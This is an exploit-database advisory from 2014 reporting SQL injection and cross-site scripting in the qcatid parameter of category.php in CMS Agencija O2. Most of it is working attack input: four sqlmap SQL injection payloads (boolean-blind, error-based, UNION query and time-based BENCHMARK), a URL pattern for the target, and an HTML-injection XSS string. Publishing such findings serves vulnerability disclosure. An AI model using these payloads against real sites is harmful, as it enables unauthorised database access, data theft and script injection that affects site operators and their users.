CMS Agencija O2 Cross Site Scripting / SQL Injection Vulnerabilities

ID 1337DAY-ID-22539
Type zdt
Reporter Renzi
Modified 2014-08-22T00:00:00


CMS Agencija O2 suffers from cross site scripting and remote SQL injection vulnerabilities.

                                            # SQL Injection & XSS on CMS Agencija O2

# Risk: High

# CWE number: CWE-89,CWE-79

# Date: 22/08/2014

# Vendor: Agencija O2

# Author: Felipe " Renzi " Gabriel

# Contact: [email protected]

# Tested on: Windows 8 pro & Linux Mint

# Vulnerable File: category.php

# Exploits: http://host/cms/category.php?qcatid=[SQLI] & [XSS]

# PoC:[SQLI]& [XSS]

--- "SQLI using SQLMAP."---

    Place: GET
    Parameter: qcatid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: qcatid=99999 RLIKE (SELECT (CASE WHEN (3232=3232) THEN 99999 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: qcatid=99999 AND (SELECT 9170 FROM(SELECT COUNT(*),CONCAT(0x7174666171,(SELECT (CASE WHEN (9170=9170) THEN 1 ELSE 0 END)),0x7167716471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: qcatid=99999 UNION ALL SELECT CONCAT(0x7174666171,0x576b5a63576663766442,0x7167716471),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: qcatid=99999 AND 4293=BENCHMARK(5000000,MD5(0x46795155))

--- " XSS using HTML injection."---"><marquee>XSS</marquee>

# Thank's

# [2018-02-05]  #